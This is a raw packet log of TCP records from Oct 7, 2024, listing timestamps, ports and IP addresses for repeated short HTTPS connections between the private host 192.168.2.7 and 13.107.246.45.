Oct 7, 2024 18:43:43.141911030 CEST	443	49851	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.142071962 CEST	49851	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.142132998 CEST	49851	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.142132998 CEST	49851	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.142158985 CEST	443	49851	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.142172098 CEST	443	49851	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.146576881 CEST	49856	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.146625996 CEST	443	49856	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.146723032 CEST	49856	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.146898985 CEST	49856	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.146914005 CEST	443	49856	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.622690916 CEST	443	49854	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.623485088 CEST	49854	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.623518944 CEST	443	49854	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.624003887 CEST	49854	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.624011040 CEST	443	49854	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.631887913 CEST	443	49852	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.632210970 CEST	49852	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.632251024 CEST	443	49852	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.632536888 CEST	49852	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.632541895 CEST	443	49852	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.639425039 CEST	443	49853	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.639702082 CEST	49853	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.639725924 CEST	443	49853	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.640021086 CEST	49853	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.640026093 CEST	443	49853	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.705589056 CEST	443	49855	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.709091902 CEST	49855	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.709120989 CEST	443	49855	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.709636927 CEST	49855	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.709645987 CEST	443	49855	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.717828989 CEST	443	49854	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.718314886 CEST	443	49854	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.718373060 CEST	443	49854	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.718549013 CEST	49854	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.718549013 CEST	49854	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.720782042 CEST	49854	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.720841885 CEST	443	49854	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.720875025 CEST	49854	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.720902920 CEST	443	49854	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.724143982 CEST	49858	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.724189997 CEST	443	49858	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.724262953 CEST	49858	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.724384069 CEST	49858	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.724390030 CEST	443	49858	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.742906094 CEST	443	49852	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.742963076 CEST	443	49852	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.743057013 CEST	443	49852	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.743136883 CEST	49852	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.743294954 CEST	49852	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.743294954 CEST	49852	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.743325949 CEST	443	49852	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.743350029 CEST	443	49852	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.745716095 CEST	49859	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.745817900 CEST	443	49859	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.745923996 CEST	49859	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.746062994 CEST	49859	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.746085882 CEST	443	49859	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.790294886 CEST	443	49853	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.791004896 CEST	443	49853	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.791068077 CEST	49853	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.791122913 CEST	49853	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.791122913 CEST	49853	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.791167974 CEST	443	49853	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.791179895 CEST	443	49853	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.794637918 CEST	49860	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.794701099 CEST	443	49860	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.794802904 CEST	49860	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.794965982 CEST	49860	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.794981956 CEST	443	49860	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.919867992 CEST	443	49855	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.919934988 CEST	443	49855	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.920047045 CEST	49855	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.920315981 CEST	49855	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.920366049 CEST	443	49855	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.920394897 CEST	49855	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.920411110 CEST	443	49855	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.924108028 CEST	49861	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.924256086 CEST	443	49861	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.924380064 CEST	49861	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.924541950 CEST	49861	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.924578905 CEST	443	49861	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.994066000 CEST	443	49856	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.994724035 CEST	49856	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.994745970 CEST	443	49856	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:43.995347977 CEST	49856	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:43.995352983 CEST	443	49856	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.088685989 CEST	443	49856	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.088759899 CEST	443	49856	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.088869095 CEST	443	49856	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.088896990 CEST	49856	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.088922024 CEST	49856	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.089211941 CEST	49856	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.089227915 CEST	443	49856	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.089243889 CEST	49856	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.089247942 CEST	443	49856	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.092539072 CEST	49862	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.092667103 CEST	443	49862	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.092767000 CEST	49862	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.092911959 CEST	49862	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.092953920 CEST	443	49862	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.425817013 CEST	443	49858	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.426464081 CEST	49858	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.426491976 CEST	443	49858	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.427128077 CEST	49858	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.427134037 CEST	443	49858	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.455791950 CEST	443	49859	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.456267118 CEST	49859	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.456301928 CEST	443	49859	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.456752062 CEST	49859	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.456757069 CEST	443	49859	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.519589901 CEST	443	49860	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.520052910 CEST	49860	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.520100117 CEST	443	49860	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.520509958 CEST	49860	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.520522118 CEST	443	49860	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.521188021 CEST	443	49858	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.521270037 CEST	443	49858	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.521327019 CEST	49858	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.521466970 CEST	49858	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.521481037 CEST	443	49858	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.521492958 CEST	49858	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.521497965 CEST	443	49858	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.524952888 CEST	49863	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.525017023 CEST	443	49863	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.525099993 CEST	49863	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.525260925 CEST	49863	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.525289059 CEST	443	49863	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.551764965 CEST	443	49859	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.551908970 CEST	443	49859	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.551968098 CEST	49859	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.552136898 CEST	49859	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.552153111 CEST	443	49859	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.552165031 CEST	49859	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.552169085 CEST	443	49859	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.555968046 CEST	49864	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.556011915 CEST	443	49864	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.556087971 CEST	49864	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.556282043 CEST	49864	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.556292057 CEST	443	49864	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.623874903 CEST	443	49860	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.623930931 CEST	443	49860	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.623996973 CEST	49860	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.624270916 CEST	49860	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.624314070 CEST	443	49860	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.624353886 CEST	49860	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.624370098 CEST	443	49860	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.624572039 CEST	443	49861	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.625051975 CEST	49861	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.625073910 CEST	443	49861	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.625622034 CEST	49861	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.625632048 CEST	443	49861	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.627623081 CEST	49865	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.627720118 CEST	443	49865	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.627821922 CEST	49865	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.627923012 CEST	49865	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.627949953 CEST	443	49865	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.726310015 CEST	443	49861	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.726345062 CEST	443	49861	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.726391077 CEST	443	49861	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.726469994 CEST	49861	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.726524115 CEST	49861	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.726815939 CEST	49861	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.726839066 CEST	443	49861	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.726850986 CEST	49861	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.726857901 CEST	443	49861	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.730489969 CEST	49866	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.730545044 CEST	443	49866	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.730631113 CEST	49866	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.730807066 CEST	49866	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.730823994 CEST	443	49866	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.732718945 CEST	443	49862	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.733491898 CEST	49862	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.733516932 CEST	443	49862	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:44.734050989 CEST	49862	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:44.734055996 CEST	443	49862	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.029834986 CEST	443	49862	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.030921936 CEST	443	49862	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.031033993 CEST	49862	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.031229019 CEST	49862	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.031244993 CEST	443	49862	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.031255960 CEST	49862	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.031260967 CEST	443	49862	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.034058094 CEST	49867	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.034096956 CEST	443	49867	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.034183979 CEST	49867	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.034357071 CEST	49867	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.034373045 CEST	443	49867	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.150110006 CEST	443	49863	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.151901007 CEST	49863	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.151957035 CEST	443	49863	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.152456999 CEST	49863	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.152471066 CEST	443	49863	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.166743040 CEST	443	49864	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.168945074 CEST	49864	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.168970108 CEST	443	49864	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.169291973 CEST	49864	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.169301987 CEST	443	49864	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.247360945 CEST	443	49863	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.247407913 CEST	443	49863	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.247456074 CEST	443	49863	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.247539043 CEST	49863	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.247688055 CEST	49863	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.247709990 CEST	443	49863	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.247742891 CEST	49863	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.247750044 CEST	443	49863	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.250228882 CEST	49868	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.250279903 CEST	443	49868	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.250364065 CEST	49868	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.250523090 CEST	49868	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.250538111 CEST	443	49868	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.264955044 CEST	443	49865	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.265448093 CEST	49865	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.265511036 CEST	443	49865	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.265713930 CEST	49865	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.265729904 CEST	443	49865	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.268697023 CEST	443	49864	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.269262075 CEST	443	49864	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.269313097 CEST	49864	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.269345999 CEST	49864	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.269345999 CEST	49864	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.269362926 CEST	443	49864	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.269372940 CEST	443	49864	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.271220922 CEST	49869	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.271255970 CEST	443	49869	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.271318913 CEST	49869	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.271430016 CEST	49869	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.271444082 CEST	443	49869	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.337861061 CEST	443	49866	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.338280916 CEST	49866	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.338313103 CEST	443	49866	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.338696003 CEST	49866	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.338702917 CEST	443	49866	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.380342007 CEST	443	49865	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.380397081 CEST	443	49865	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.380558014 CEST	49865	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.380605936 CEST	49865	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.380624056 CEST	443	49865	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.380637884 CEST	49865	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.380645037 CEST	443	49865	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.382997990 CEST	49870	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.383038998 CEST	443	49870	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.383137941 CEST	49870	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.383296967 CEST	49870	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.383312941 CEST	443	49870	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.432991982 CEST	443	49866	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.433203936 CEST	443	49866	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.433264971 CEST	49866	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.433294058 CEST	49866	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.433304071 CEST	443	49866	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.433321953 CEST	49866	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.433327913 CEST	443	49866	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.435805082 CEST	49871	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.435843945 CEST	443	49871	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.435915947 CEST	49871	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.436039925 CEST	49871	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.436053038 CEST	443	49871	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.669414997 CEST	443	49867	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.669899940 CEST	49867	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.669931889 CEST	443	49867	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.670303106 CEST	49867	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.670306921 CEST	443	49867	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.772196054 CEST	443	49867	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.772774935 CEST	443	49867	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.772833109 CEST	49867	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.772835970 CEST	443	49867	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.772898912 CEST	49867	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.772941113 CEST	49867	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.772963047 CEST	443	49867	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.772974014 CEST	49867	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.772979021 CEST	443	49867	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.781975985 CEST	49872	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.782021999 CEST	443	49872	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:45.782094002 CEST	49872	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.782212019 CEST	49872	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:45.782227993 CEST	443	49872	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.002841949 CEST	443	49869	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.003452063 CEST	49869	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.003479004 CEST	443	49869	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.004321098 CEST	49869	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.004333019 CEST	443	49869	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.004837990 CEST	443	49868	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.005397081 CEST	49868	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.005419970 CEST	443	49868	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.005686045 CEST	49868	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.005693913 CEST	443	49868	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.065993071 CEST	443	49870	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.067400932 CEST	49870	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.067433119 CEST	443	49870	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.068068981 CEST	49870	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.068078041 CEST	443	49870	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.177653074 CEST	443	49868	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.177902937 CEST	443	49868	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.177978992 CEST	49868	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.178088903 CEST	49868	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.178107023 CEST	443	49868	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.178117037 CEST	49868	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.178128004 CEST	443	49868	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.180594921 CEST	49873	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.180691004 CEST	443	49873	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.180782080 CEST	49873	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.180941105 CEST	49873	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.180969954 CEST	443	49873	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.183738947 CEST	443	49869	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.184505939 CEST	443	49869	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.184603930 CEST	443	49869	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.184658051 CEST	49869	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.184725046 CEST	49869	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.184760094 CEST	49869	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.184760094 CEST	49869	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.184777975 CEST	443	49869	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.184787989 CEST	443	49869	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.186562061 CEST	49874	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.186594009 CEST	443	49874	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.186681986 CEST	49874	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.186839104 CEST	49874	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.186856031 CEST	443	49874	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.196332932 CEST	443	49870	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.196486950 CEST	443	49870	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.196583986 CEST	49870	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.196583986 CEST	49870	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.196634054 CEST	49870	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.196640968 CEST	443	49870	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.198311090 CEST	49875	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.198352098 CEST	443	49875	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.198421001 CEST	49875	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.198519945 CEST	49875	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.198534966 CEST	443	49875	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.268650055 CEST	443	49871	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.269062042 CEST	49871	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.269077063 CEST	443	49871	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:46.269490004 CEST	49871	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:46.269495010 CEST	443	49871	13.107.246.45	192.168.2.7
